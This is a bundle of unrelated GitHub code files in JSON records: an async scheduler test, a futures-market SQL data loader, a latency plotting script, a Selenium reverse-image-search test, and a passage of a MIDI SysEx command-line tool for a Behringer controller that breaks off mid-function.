{"seq_id": "75188860387", "text": "#!/usr/bin/env python3\n\nimport time\nimport asyncio\nimport random\n\nimport pytest\nfrom scheduler import Scheduler\n\n\nclass MockTime:\n    def __init__(self, start):\n        self.time = start\n\n    def monotonic(self):\n        return self.time\n\n    async def sleep(self, n):\n        self.time += n\n        return None\n\n\n@pytest.mark.asyncio\nasync def test_scheduler(monkeypatch):\n    scheduler = Scheduler()\n    mock_time = MockTime(start=1)\n\n    with monkeypatch.context() as m:\n        m.setattr(time, 'monotonic', mock_time.monotonic)\n        m.setattr(random, 'random', lambda :1)\n        m.setattr(asyncio, 'sleep', mock_time.sleep)\n\n        await scheduler.add('http:/test1.com', delay=6)\n        await scheduler.add('http:/test2.com', delay=10)\n\n        G = scheduler.gen()\n        url, _ = await G.__anext__()\n        assert url == 'http:/test1.com'\n        url, _ = await G.__anext__()\n        assert url == 'http:/test2.com'\n        url, _ = await G.__anext__()\n        assert url == 'http:/test1.com'\n        url, _ = await G.__anext__()\n        assert url == 'http:/test1.com'\n        url, _ = await G.__anext__()\n        assert url == 'http:/test2.com'\n", "repo_name": "grubberr/aiven-kafka", "sub_path": "tests/test_scheduler.py", "file_name": "test_scheduler.py", "file_ext": "py", "file_size_in_byte": 1160, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "scheduler.Scheduler", "line_number": 25, "usage_type": "call"}, {"api_name": "scheduler.add", "line_number": 33, "usage_type": "call"}, {"api_name": "scheduler.add", "line_number": 34, "usage_type": "call"}, {"api_name": "scheduler.gen", "line_number": 36, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 23, "usage_type": "attribute"}]}
{"seq_id": "33460529815", "text": "from datetime import datetime\nimport numpy as np\nimport pandas as pd\n__Author__ = 'ZCXY'\nimport os\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom functools import reduce\n\nfrom data_process import *\n\n'''\n品种持仓: \n1、缺少SC\n\n会员持仓（成交量、持仓买量、持仓卖量）:\n1、缺少SC\n2、三个表交集差异集中在2014-2016的SF\n\n缺失因子用均值填充\n'''\n\n\nclass RawData:\n    def __init__(self) -> None:\n        self.contract_list = self.contract()\n        # self.start = '20210101'\n        self.start = '20160101'\n        self.end = datetime.now().strftime('%Y%m%d')\n        if not os.path.exists('data'):\n            os.makedirs('data')\n    \n    def get_future_sectors(self, obj=None):\n        '''\n        obj:    =None: return all dict\n                ='hc': return 'black'\n        '''\n        future_sectors = {'finance': ['IF', 'IC', 'IH', 'T', 'TF'],\n                        'black': ['hc', 'i', 'j', 'jm', 'rb', 'SF', 'ZC'],\n                        'chemical': ['eg', 'FG', 'l', 'MA', 'pp', 'TA', 'v'],\n                        'energy': ['bu', 'pg', 'sc'],\n                        'agricultural': ['a', 'AP', 'c', 'cs', 'jd', 'm', 'OI', 'p', 'RM', 'y'],\n                        'soft': ['CF', 'ru', 'SR'],\n                        'nonferrous': ['ag', 'al', 'au', 'cu', 'ni', 'pb', 'sn', 'zn']}\n        if obj != None:\n            future_sectors = {k:[i.upper() for i in v] for k,v in future_sectors.items()} # value改为大写\n            return [k for k,v in future_sectors.items() if obj in v][0] # 根据品种返回板块名称\n        return future_sectors\n\n    def contract(self):\n        contract = [v for k,v in self.get_future_sectors().items()]\n        contract = reduce(lambda left, right: left+right, contract)\n        contract = [i.upper() for i in contract]\n        return contract\n    \n    def query_raw_volprice_data_myrule(self):\n        '''初始量价因子(所有合约，非通联选取主力)'''\n        sql = '''\n            select a.TRADE_DATE date,\n            a.CONTRACT_OBJECT object,\n            a.TICKER_SYMBOL symbol,\n            a.OPEN_PRICE open,\n            a.CLOSE_PRICE close,\n            a.HIGHEST_PRICE high,\n            a.LOWEST_PRICE low,\n            a.PRE_CLOSE_PRICE pre_close, \n            a.SETTL_PRICE settle,\n            a.TURNOVER_VOL to_volume,\n            a.TURNOVER_VALUE to_value,\n            a.OPEN_INT interest,\n            b.LIMIT_UP_PRICE,\n            b.LIMIT_DOWN_PRICE,\n            c.LAST_DELI_DATE last_deli_date,\n            DATEDIFF(c.LAST_DELI_DATE, a.TRADE_DATE) datediff\n\n            from mkt_futd a\n            join mkt_fut_limit b \n            on a.SECURITY_ID=b.SECURITY_ID and a.TRADE_DATE=b.TRADE_DATE\n            join futu c \n            on a.TICKER_SYMBOL = c.TICKER_SYMBOL\n\n            where a.TRADE_DATE between {} and {}\n            and DATEDIFF(c.LAST_DELI_DATE, a.TRADE_DATE) between 0 and 2000 \n            /* 若不加此限制，会搜出10年前或10年后的合约 */\n\n            order by a.TRADE_DATE,a.CONTRACT_OBJECT,a.TICKER_SYMBOL'''.format(self.start, self.end)\n        df = query_sql_df(sql)\n        df = df[df['object'].isin(self.contract_list)]\n        df[['close', 'settle']] = df[['close', 'settle']].fillna(method='bfill', axis=1)\n        df[['open', 'settle']] = df[['open', 'settle']].fillna(method='bfill', axis=1)\n        df[['high', 'settle']] = df[['high', 'settle']].fillna(method='bfill', axis=1)\n        df[['low', 'settle']] = df[['low', 'settle']].fillna(method='bfill', axis=1)\n        df[['pre_close', 'settle']] = df[['pre_close', 'settle']].fillna(method='bfill', axis=1)\n        df['to_value'].fillna(method='ffill', axis=0, inplace=True)\n        return df\n\n\n    # def query_open_int(self):\n    #     '''\n    #     品种多空持仓类数据\n    #         ***\n    #         通联数据大致从2016年开始\n    #         缺少原油\n    #         ***\n    #     '''\n    #     sql = '''\n    #         select TRADE_DATE date, \n    #         CONTRACT_OBJECT object, \n    #         LONG_OPEN_INT long_oi, \n    #         SHORT_OPEN_INT short_oi, \n    #         RATIO oi_ratio \n    #         from mkt_fut_oi_ratio \n    #         where TRADE_DATE between {} and {} \n    #         order by TRADE_DATE\n    #         '''.format(self.start, self.end)\n    #     if not os.path.exists('data/openint/openint.csv'):\n    #         df = query_sql_df(sql)\n    #         df = df[df['object'].isin(self.contract_list)]\n    #         df.to_csv('data/openint/openint.csv')\n    #         return df\n    #     else:\n    #         df = pd.read_csv('data/openint/openint.csv', index_col=0)\n    #         return df\n\n    # def query_warehouse(self):\n    #     '''仓单类数据'''\n    #     sql = '''\n    #         select TRADE_DATE date, \n    #         CONTRACT_OBJECT object, \n    #         sum(WR_VOL) wr_vol, \n    #         sum(CHG) chg_wr \n    #         from mkt_fut_wrd\n    #         where TRADE_DATE between {} and {} \n    #         group by TRADE_DATE, CONTRACT_OBJECT \n    #         order by TRADE_DATE\n    #         '''.format(self.start, self.end)\n    #     if not os.path.exists('data/memrankoi/warehouse.csv'):\n    #         df = query_sql_df(sql)\n    #         df = df[df['object'].isin(self.contract_list)]\n    #         df.to_csv('data/warehouse/warehouse.csv')\n    #         return df\n    #     else:\n    #         df = pd.read_csv('data/warehouse/warehouse.csv', index_col=0)\n    #         return df\n    \n    # def query_mem_rank_vol(self):\n    #     '''会员成交量排名数据'''\n    #     sql = '''\n    #     select a.TRADE_DATE date,\n    #     b.CONTRACT_OBJECT object,\n    #     a.RANK mem_rank, \n    #     /*a.TICKER_SYMBOL symbol,*/\n    #     /*a.PARTY_SHORT_NAME,*/\n    #     a.TURNOVER_VOL mem_vol,\n    #     a.CHG mem_vol_chg\n    #     from mkt_futmtvr a\n    #     join mkt_futd b on a.SECURITY_ID=b.SECURITY_ID and a.TRADE_DATE=b.TRADE_DATE\n    #     where a.TRADE_DATE between {} and {} \n    #     and b.MAINCON=1 and a.RANK<=20\n    #     '''.format(self.start, self.end)\n    #     if not os.path.exists('data/memrankoi/memrk_vol.csv'):\n    #         df = query_sql_df(sql)\n    #         df = df[df['object'].isin(self.contract_list)]\n    #         df.to_csv('data/memrankoi/memrk_vol.csv')\n    #         return df\n    #     else:\n    #         df = pd.read_csv('data/memrankoi/memrk_vol.csv', index_col=0)\n    #         return df\n    \n    # def query_mem_rank_longoi(self):\n    #     '''会员持仓买量排名数据'''\n    #     sql = '''\n    #     select a.TRADE_DATE date,\n    #     b.CONTRACT_OBJECT object,\n    #     a.RANK mem_rank, \n    #     /*a.TICKER_SYMBOL symbol,*/\n    #     /*a.PARTY_SHORT_NAME,*/\n    #     a.LONG_OPEN_INT mem_long_oi,\n    #     a.CHG mem_long_oi_chg\n    #     from mkt_futmoibr a\n    #     join mkt_futd b on a.TICKER_SYMBOL=b.TICKER_SYMBOL and a.TRADE_DATE=b.TRADE_DATE\n    #     where a.TRADE_DATE between {} and {} \n    #     and b.MAINCON=1 and a.RANK<=20\n    #     '''.format(self.start, self.end)\n    #     if not os.path.exists('data/memrankoi/memrk_longoi.csv'):\n    #         df = query_sql_df(sql)\n    #         df = df[df['object'].isin(self.contract_list)]\n    #         df.to_csv('data/memrankoi/memrk_longoi.csv')\n    #         return df\n    #     else:\n    #         df = pd.read_csv('data/memrankoi/memrk_longoi.csv', index_col=0)\n    #         return df\n\n    # def query_mem_rank_shortoi(self):\n    #     '''会员持仓卖量排名数据'''\n    #     sql = '''\n    #     select a.TRADE_DATE date,\n    #     b.CONTRACT_OBJECT object,\n    #     a.RANK mem_rank,\n    #     /*a.TICKER_SYMBOL symbol,*/\n    #     /*a.PARTY_SHORT_NAME,*/\n    #     a.SHORT_OPEN_INT mem_short_oi,\n    #     a.CHG mem_short_oi_chg\n    #     from mkt_futmoiar a\n    #     join mkt_futd b on a.TICKER_SYMBOL=b.TICKER_SYMBOL and a.TRADE_DATE=b.TRADE_DATE\n    #     where a.TRADE_DATE between {} and {} \n    #     and b.MAINCON=1 and a.RANK<=20\n    #     '''.format(self.start, self.end)\n    #     if not os.path.exists('data/memrankoi/memrk_shortoi.csv'):\n    #         df = query_sql_df(sql)\n    #         df = df[df['object'].isin(self.contract_list)]\n    #         df.to_csv('data/memrankoi/memrk_shortoi.csv')\n    #         return df\n    #     else:\n    #         df = pd.read_csv('data/memrankoi/memrk_shortoi.csv', index_col=0)\n    #         return df\n", "repo_name": "18337179943/future_ml", "sub_path": "mainconinfo/data_load.py", "file_name": "data_load.py", "file_ext": "py", "file_size_in_byte": 8347, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "warnings.filterwarnings", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 30, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 32, "usage_type": "call"}, {"api_name": "functools.reduce", "line_number": 53, "usage_type": "call"}]}
{"seq_id": "29907066803", "text": "import pickle\nimport matplotlib.ticker\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nplt.style.use('ggplot')\n\nwith open(\"latencies_rpi\", 'rb') as p_in:\n    latencies = pickle.load(p_in)\n\nx = np.linspace(0, len(latencies), len(latencies))\n\n\nfig, ax = plt.subplots(2)\nlatencies = np.array(latencies)\n\nax[0].stem(x, latencies[:,0])\nax[0].set_title(\"From PC to Pi Zero\")\nax[1].stem(x, latencies[:,1])\nax[1].set_title(\"From Pi Zero to PC\")\nax[1].set_ylabel(\"Transfer latency (seconds)\")\nplt.savefig(\"latency_direct.png\")\nplt.show()", "repo_name": "h-brenne/DataMuleIoT", "sub_path": "src/plotLatency.py", "file_name": "plotLatency.py", "file_ext": "py", "file_size_in_byte": 532, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 6, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 6, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}]}
{"seq_id": "41539140586", "text": "# -*- encoding=utf8 -*-\n__author__ = \"jiangsihui\"\n\nimport os\nimport configparser\nimport time\nimport math\nimport urllib\nimport cv2\nimport numpy as np\nfrom airtest.core.api import *\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom airtest_selenium.proxy import WebChrome\nfrom selenium.webdriver import Chrome,ChromeOptions\n\nauto_setup(__file__)\n\ndriver = WebChrome()\ndriver.implicitly_wait(20)\n\n#author can't access to google due to it's banned in China, use baidu instead of google\n\nurl='https://image.baidu.com/'\n\n#get file config.ini path and obtain the visit result number in configuration file\nconfig = configparser.ConfigParser() \npath = os.path.abspath(\".\") + \"/config.ini\"\nconfig.read(path,encoding=\"utf-8\")\nvisit_result = int(config.get(\"ImageLocation\",\"VISIT_RESULT\")) - 1\n\n#find the image by using config file value,use image lotus.jpg\ndriver.get(url)\ndriver.find_element_by_xpath(\"//img[@class='st_camera_off']\").click()\ndriver.find_element_by_id(\"uploadImg\").click()\ndriver.find_element_by_name(\"image\").send_keys(os.path.abspath(\"./lotus.jpg\"))\n#result page is lazy loaded when visit_result > 30, we need to scroll page and make more images shows.\nscroll_times = int(visit_result//30)\nprint(scroll_times)\nif visit_result>30:\n    for i in range(1,scroll_times+1):\n        tempElement = driver.find_element_by_xpath(\"//a[@class='general-imgcol-item' and @data-index = '\"+str(i*30-1)+\"']\")\n        driver.execute_script(\"arguments[0].scrollIntoView()\",tempElement)\n#find the indication one     \nprint(\"//a[@class='general-imgcol-item' and @data-index = '\"+str(visit_result)+\"']\")\nimageElement = driver.find_element_by_xpath(\"//a[@class='general-imgcol-item' and @data-index ='\"+str(visit_result)+\"']//img\")\ndriver.execute_script(\"arguments[0].scrollIntoView()\",imageElement)\n#store an screen shot of the last visited page, screenshot name should be timestamp+imageResult.jpg\ntimenow=str(int(time.time()))\n#Requisite 1 in exercise part1,get current screenshot\ndriver.save_screenshot(timenow+\"_screenResult.jpg\")\n#get image url for downloading\nimg_url = imageElement.get_attribute(\"src\")\nprint(img_url)\nrequest = urllib.request.Request(img_url)\nresponse = urllib.request.urlopen(img_url)\n#download the chosen picture\nimg = response.read()\nimageName = str(timenow)+'_compareImage.jpg'\nwith open(imageName,'wb') as f:\n    f.write(img)\n#Compare search results are related to the used image, calculate simulitor %\n#deal with source image\nimg1 = cv2.imread('lotus.jpg')\nimg1 = cv2.resize(img1,(8,8), interpolation=cv2.INTER_CUBIC)\nimg1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)\nimg1_sum = np.sum(img1)\nimg1_mean = img1_sum / 64\nimg1_finger = np.where(img1 > img1_mean, 1, 0)\n\n#deal with result image\nimg2 = cv2.imread(imageName)\nimg2 = cv2.resize(img2,(8,8), interpolation=cv2.INTER_CUBIC)\nimg2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\nimg2_sum = np.sum(img2)\nimg2_mean = img2_sum / 64\nimg2_finger = np.where(img2 > img2_mean, 1, 0)\n\n#Calculte simulator percent\nisquel = img1_finger == img2_finger\nindex = isquel == True\nhan = isquel[index]\nprint(han)\n\nhanming = len(han)\nprint('simulator%:{:.1%}'.format(hanming/64))\n\n#Validate two images,if simulator percent is more than 0.9, Result image is the same as source image.\nif hanming/64 >= 0.9:\n    print(\"Result image is the same as source image.\")\nelse:\n    print(\"Result image is not the same as source image\")\n\n\n\n", "repo_name": "jiangsihuiamanda/pccwglobal", "sub_path": "Part1/searchImage.air/searchImage.py", "file_name": "searchImage.py", "file_ext": "py", "file_size_in_byte": 3401, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "airtest_selenium.proxy.WebChrome", "line_number": 19, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 55, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 55, "usage_type": "attribute"}, {"api_name": "urllib.request.urlopen", "line_number": 56, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 65, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 66, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 73, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 73, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 74, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 77, "usage_type": "call"}]}
{"seq_id": "20228390226", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport time\nimport rich_click as click\nimport rtmidi\nfrom rich.table import Table\nfrom rich.console import Console\n# Create a console instance for formatting the output against this\nconsole = Console()\nfrom utils import bytes_to_hex_str\nfrom sysexdata import SYSEX_DEVICE_INFO, SYSEX_MODE_SWITCH, SYSEX_DEVICE_ID, SYSEX_GLOBAL_CH\n\n\n\"\"\"\nConstans for the context dictionary.\n\"\"\"\nVERBOSE_MODE = 'VERBOSE_MODE'\nTIMEOUT = 'TIMEOUT'\nRTMIDI_PORT_NO = 'RTMIDI_PORT_NO'\nRTMIDI_MIDI_IN = 'RTMIDI_MIDI_IN'\nRTMIDI_MIDI_OUT = 'RTMIDI_MIDI_OUT'\n\n\ndef xtm_cli_open_midi_port(rtmidi_in, rtmidi_out, port):\n    \"\"\"\n    Open the given input and output Midi port.\n    :param rtmidi_in: Midi in instance.\n    :param rtmidi_out: Midi out instance.\n    :param port: The port (as int) for opening.\n    :return: A list of the opened rtmidi port.\n    \"\"\"\n    return rtmidi_in.open_port(port=port), rtmidi_out.open_port(port=port)\n\n\n@click.group()\n@click.option(\n    '-v', '--verbose',\n    default=False,\n    required=False,\n    help='Prints some more information about the device communication.',\n    is_flag=True\n)\n@click.option(\n    '-p', '--port',\n    default=0,\n    required=False,\n    help='The port of the connected X-Touch Mini.',\n)\n@click.option(\n    '-t', '--timeout',\n    default=2,\n    required=False,\n    help='The timeout in seconds for waiting for an answer of the device.',\n)\n@click.pass_context\ndef cli(ctx, verbose, port, timeout):\n    \"\"\"\n    Behringer X-Touch Mini CLI.\n    Some stuff for testing the SysEx messages.\n    You can use --help at the top level and also for specific group subcommands.\n    \"\"\"\n\n    # Storing dictionaries in click context\n    ctx.ensure_object(dict)\n\n    # Adding the debug flag\n    if verbose:\n        ctx.obj[VERBOSE_MODE] = True\n    else:\n        ctx.obj[VERBOSE_MODE] = False\n\n    # Adding the timeout\n    ctx.obj[TIMEOUT] = timeout\n\n    # Adding the port number\n    ctx.obj[RTMIDI_PORT_NO] = port\n\n    # Creating Midi input/output instances\n    ctx.obj[RTMIDI_MIDI_IN] = rtmidi.MidiIn()\n    ctx.obj[RTMIDI_MIDI_OUT] = rtmidi.MidiOut()\n\n\n@cli.command()\n@click.pass_context\ndef ports(ctx):\n    \"\"\"\n    List available Midi ports.\n    \"\"\"\n\n    # List the Midi input ports\n    ports_in = ctx.obj[RTMIDI_MIDI_IN].get_ports()\n    ports_in_table = Table(title='Midi Input Ports')\n    ports_in_table.add_column('Index', justify='left', style='')\n    ports_in_table.add_column('Name', justify='left', style='')\n    for port_in_index, port_in in enumerate(ports_in):\n        ports_in_table.add_row('%i' % port_in_index, port_in)\n    console.print(ports_in_table)\n\n    # List the Midi output ports\n    ports_out = ctx.obj[RTMIDI_MIDI_OUT].get_ports()\n    ports_out_table = Table(title='Midi Output Ports')\n    ports_out_table.add_column('Index', justify='left', style='')\n    ports_out_table.add_column('Name', justify='left', style='')\n    for port_out_index, port_out in enumerate(ports_out):\n        ports_out_table.add_row('%i' % port_out_index, port_out)\n    console.print(ports_out_table)\n\n\n@cli.command()\n@click.pass_context\ndef info(ctx):\n    \"\"\"\n    Get the device information.\n    \"\"\"\n\n    # Open the Midi ports\n    try:\n        port_midi_in, port_midi_out = xtm_cli_open_midi_port(\n            rtmidi_in=ctx.obj[RTMIDI_MIDI_IN], rtmidi_out=ctx.obj[RTMIDI_MIDI_OUT], port=ctx.obj[RTMIDI_PORT_NO]\n        )\n        port_midi_in.ignore_types(sysex=False)\n        sending_data = bytearray.fromhex(SYSEX_DEVICE_INFO)\n        if ctx.obj[VERBOSE_MODE]:\n            console.print(\n                '[white]Sending: %s - %i bytes[/white]' % (bytes_to_hex_str(sending_data), len(sending_data)),\n                highlight=False\n            )\n        timeout_start = time.time()\n        port_midi_out.send_message(sending_data)\n        while True:\n            receiving_data = port_midi_in.get_message()\n            timeout_actual = time.time()\n            if (timeout_actual - timeout_start) > ctx.obj[TIMEOUT]:\n                console.print('[bold][red]Timeout! -> No answering from device.[/red][/bold]')\n                break\n            if receiving_data is not None and isinstance(receiving_data, tuple):\n                if ctx.obj[VERBOSE_MODE]:\n                    console.print(\n                        '[white]Reading: %s - %i bytes[/white]' % (bytes_to_hex_str(receiving_data[0]),\n                                                                   len(receiving_data[0])),\n                        highlight=False\n                    )\n                break\n        info_table = Table(title='Device Information', show_header=False)\n        info_table.add_row('Device ID:', '%i' % (receiving_data[0][5] + 1))\n        if receiving_data[0][6] == 0x12:\n            info_table.add_row('Global channel:', 'Off')\n        else:\n            info_table.add_row('Global channel:', '%i' % (receiving_data[0][6] + 1))\n        if receiving_data[0][7] == 0x00:\n            info_table.add_row('Mode:', 'Standard')\n        elif receiving_data[0][7] == 0x01:\n            info_table.add_row('Mode:', 'MC')\n        info_table.add_row('Firmware:', '%i.%i' % (receiving_data[0][9], receiving_data[0][10]))\n        if receiving_data[0][11] == 0x00:\n            info_table.add_row('Layer:', 'A')\n        elif receiving_data[0][11] == 0x01:\n            info_table.add_row('Layer:', 'B')\n\n        # Print the table\n        console.print(info_table)\n    except rtmidi.InvalidPortError:\n        console.print(\n            '[bold][red]InvalidPortError[/red][/bold] Port: %i is not a valid port!' % ctx.obj['RTMIDI_PORT_NO']\n        )\n    except rtmidi.InvalidUseError:\n        console.print(\n            '[bold][red]InvalidUseError[/red][/bold] Port: %i is already open!' % ctx.obj['RTMIDI_PORT_NO']\n        )\n    except TypeError:\n        console.print(\n            '[bold][red]TypeError[/red][/bold] The port is always a number starting from 0.'\n        )\n\n\n@cli.command()\n@click.argument('mode', required=True, default=0)\n@click.pass_context\ndef mode(ctx, mode):\n    \"\"\"\n    Set the new mode.\n    0 - Standard mode\n    1 - MC mode\n    \"\"\"\n\n    if not 0 <= mode <= 1:\n        console.print('[bold][red]Unknown mode! Choose between 0 - Standard or 1 - MC.[/red][/bold]')\n        return\n\n    # Open the Midi ports\n    try:\n        port_midi_in, port_midi_out = xtm_cli_open_midi_port(\n            rtmidi_in=ctx.obj[RTMIDI_MIDI_IN], rtmidi_out=ctx.obj[RTMIDI_MIDI_OUT], port=ctx.obj[RTMIDI_PORT_NO]\n        )\n        port_midi_in.ignore_types(sysex=False)\n        sending_data = bytearray.fromhex((SYSEX_MODE_SWITCH % mode))\n        if ctx.obj[VERBOSE_MODE]:\n            console.print(\n                '[white]Sending: %s - %i bytes[/white]' % (bytes_to_hex_str(sending_data), len(sending_data)),\n                highlight=False\n            )\n        timeout_start = time.time()\n        port_midi_out.send_message(sending_data)\n        while True:\n            receiving_data = port_midi_in.get_message()\n            timeout_actual = time.time()\n            if (timeout_actual - timeout_start) > ctx.obj[TIMEOUT]:\n                console.print('[bold][red]Timeout! -> No answering from device.[/red][/bold]')\n                break\n            if receiving_data is not None and isinstance(receiving_data, tuple):\n                if ctx.obj[VERBOSE_MODE]:\n                    console.print(\n                        '[white]Reading: %s - %i bytes[/white]' % (bytes_to_hex_str(receiving_data[0]),\n                                                                   len(receiving_data[0])),\n                        highlight=False\n                    )\n                break\n            # TODO: Check the return value!\n    except rtmidi.InvalidPortError:\n        console.print(\n            '[bold][red]InvalidPortError[/red][/bold] Port: %i is not a valid port!' % ctx.obj['RTMIDI_PORT_NO']\n        )\n    except rtmidi.InvalidUseError:\n        console.print(\n            '[bold][red]InvalidUseError[/red][/bold] Port: %i is already open!' % ctx.obj['RTMIDI_PORT_NO']\n        )\n    except TypeError:\n        console.print(\n            '[bold][red]TypeError[/red][/bold] The port is always a number starting from 0.'\n        )\n\n\n@cli.command()\n@click.argument('devid', required=True, default=1)\n@click.pass_context\ndef devid(ctx, devid):\n    \"\"\"\n    Set the device id from 1 to 16.\n    \"\"\"\n\n    if not 1 <= devid <= 16:\n        console.print('[bold][red]Unknown device id! Choose between 1 to 16.[/red][/bold]')\n        return\n\n    # Open the Midi ports\n    try:\n        port_midi_in, port_midi_out = xtm_cli_open_midi_port(\n            rtmidi_in=ctx.obj[RTMIDI_MIDI_IN], rtmidi_out=ctx.obj[RTMIDI_MIDI_OUT], port=ctx.obj[RTMIDI_PORT_NO]\n        )\n        port_midi_in.ignore_types(sysex=False)\n        sending_data = bytearray.fromhex((SYSEX_DEVICE_ID % (devid - 1)))\n        if ctx.obj[VERBOSE_MODE]:\n            console.print(\n                '[white]Sending: %s - %i bytes[/white]' % (bytes_to_hex_str(sending_data), len(sending_data)),\n                highlight=False\n            )\n        timeout_start = time.time()\n        port_midi_out.send_message(sending_data)\n        while True:\n            receiving_data = port_midi_in.get_message()\n            timeout_actual = time.time()\n            if (timeout_actual - timeout_start) > ctx.obj[TIMEOUT]:\n                console.print('[bold][red]Timeout! -> No answering from device.[/red][/bold]')\n                break\n            if receiving_data is not None and isinstance(receiving_data, tuple):\n                if ctx.obj[VERBOSE_MODE]:\n                    console.print(\n                        '[white]Reading: %s - %i bytes[/white]' % (bytes_to_hex_str(receiving_data[0]),\n                                                                   len(receiving_data[0])),\n                        highlight=False\n                    )\n                break\n            # TODO: Check the return value!\n    except rtmidi.InvalidPortError:\n        console.print(\n            '[bold][red]InvalidPortError[/red][/bold] Port: %i is not a valid port!' % ctx.obj['RTMIDI_PORT_NO']\n        )\n    except rtmidi.InvalidUseError:\n        console.print(\n            '[bold][red]InvalidUseError[/red][/bold] Port: %i is already open!' % ctx.obj['RTMIDI_PORT_NO']\n        )\n    except TypeError:\n        console.print(\n            '[bold][red]TypeError[/red][/bold] The port is always a number starting from 0.'\n        )\n\n\n@cli.command()\n@click.argument('globch', required=True, default=1)\n@click.pass_context\ndef globch(ctx, globch):\n    \"\"\"\n    Set the global channel from 1 to 16 / or 0 for off.\n    \"\"\"\n\n    if not 0 <= globch <= 16:\n        console.print('[bold][red]Unknown global channel! Choose between 0-off or 1 to 16.[/red][/bold]')\n        return\n\n    # Open the Midi ports\n    try:\n        port_midi_in, port_midi_out = xtm_cli_open_midi_port(\n            rtmidi_in=ctx.obj[RTMIDI_MIDI_IN], rtmidi_out=ctx.obj[RTMIDI_MIDI_OUT], port=ctx.obj[RTMIDI_PORT_NO]\n        )\n        port_midi_in.ignore_types(sysex=False)\n        if globch == 0:\n            sending_data = bytearray.fromhex((SYSEX_GLOBAL_CH % 0x12))\n        else:\n            sending_data = bytearray.fromhex((SYSEX_GLOBAL_CH % (globch - 1)))\n        if ctx.obj[VERBOSE_MODE]:\n            console.print(\n                '[white]Sending: %s - %i bytes[/white]' % (bytes_to_hex_str(sending_data), len(sending_data)),\n                highlight=False\n            )\n        timeout_start = time.time()\n        port_midi_out.send_message(sending_data)\n        while True:\n            receiving_data = port_midi_in.get_message()\n            timeout_actual = time.time()\n            if (timeout_actual - timeout_start) > ctx.obj[TIMEOUT]:\n                console.print('[bold][red]Timeout! -> No answering from device.[/red][/bold]')\n                break\n            if receiving_data is not None and isinstance(receiving_data, tuple):\n                if ctx.obj[VERBOSE_MODE]:\n                    console.print(\n                        '[white]Reading: %s - %i bytes[/white]' % (bytes_to_hex_str(receiving_data[0]),\n                                                                   len(receiving_data[0])),\n                        highlight=False\n                    )\n                break\n            # TODO: Check the return value!\n    except rtmidi.InvalidPortError:\n        console.print(\n            '[bold][red]InvalidPortError[/red][/bold] Port: %i is not a valid port!' % ctx.obj['RTMIDI_PORT_NO']\n        )\n    except rtmidi.InvalidUseError:\n        console.print(\n            '[bold][red]InvalidUseError[/red][/bold] Port: %i is already open!' % ctx.obj['RTMIDI_PORT_NO']\n        )\n    except TypeError:\n        console.print(\n            '[bold][red]TypeError[/red][/bold] The port is always a number starting from 0.'\n        )\n\n\n@cli.result_callback()\n@click.pass_context\ndef cli_result(ctx, result, **kwargs):\n    \"\"\"\n    This is the end. Here we put everything for cleaning. These are the last lines of code.\n    \"\"\"\n\n    # Closing the opened ports\n    if ctx.obj[RTMIDI_MIDI_IN].is_port_open():\n        